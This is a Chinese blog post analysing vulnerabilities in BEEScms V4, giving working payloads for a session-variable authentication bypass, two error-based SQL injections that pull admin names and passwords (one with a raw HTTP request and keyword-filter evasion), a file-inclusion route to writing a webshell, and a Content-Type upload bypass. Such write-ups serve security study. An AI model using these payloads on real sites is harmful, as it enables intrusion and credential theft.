BEEScms_V4漏洞分析

鉴权漏洞-访问绕过

includes/init.php的全局变量预设在忽略了后面鉴权用到的session变量

鉴权函数在includes/fun.php的is_login()中,只是单纯的判断了是否存在login_in admin、session这俩标识位和超时大于3600。

测试方法
在任意页面发送payload,然后直接访问admin

_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=12345678912345

前台-SQL注入

注入点1

原理和前面类似,member\member.php直接带入用户可控的session值查询

任意页面发送payload,然后访问/member/member.php

_SESSION[member_purview]=updatexml(1,concat(0x5c,(Select group_concat(admin_name,0x5c,admin_password) from bees_admin)),1)&_SESSION[member_user]=1&_SESSION[member_login]=1&_SESSION[member_id]=1

注入点2

admin/login.php中调用了includes/fun.php中的check_login($user,$password)函数和fl_value()函数

fl_value()函数把输入的and、select等关键字过滤

check_login函数将用户输入的user直接带入查询

因为存在关键字的过滤,所以需要简单构造一下payload

POST /bees/admin/login.php?action=ck_login HTTP/1.1
Host: 127.0.0.1
Content-Length: 193
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=vsqge8462edk0oo24tuip07bt7
Connection: close

user=admin' an and d updatexml(1,concat(0x5c,(Selselectect group_concat(admin_name,0x5c,admin_password) fr from om bees_admin)),1)#&password=123456&code=a5db&submit=true&submit.x=29&submit.y=21

文件包含getshell

admin_template.php存在文件包含还可以直接修改包含文件的内容,问题主要是在下面这一部分

大概逻辑是这样的
1.检查 $action 是否等于 'xg',
2.如果是就运行check_purview('tpl_manage')检测用户权限
3.通过GET获取文件名和CMS_PATH拼接
4.fopen打开文件
5.读取打开的模板文件的内容,并将其存储在 $str 变量中。

那么就很简单了直接读任意文件写入shell就行,不过好像admin_template.php后台没有显示,也许是开发没写完功能或是忘了吧....
payload:

http://127.0.0.1/bees/admin/admin_template.php?action=xg&nav=list_tpl&admin_p_nav=tpl&lang=cn&file=包含的文件

文件上传getshell

这里admin/upload.php调用了/includes/fun.php里的up_img(),作用是校验上传文件的content-type字段,如果content-type字段是允许上传的类型,则上传成功,否则上传失败。所以这里我们只要在数据包中修改content-type字段,就可以绕过上传校验,上传webshell

posted @ 2023-09-03 00:53  徐野子  阅读(684)  评论(0编辑  收藏  举报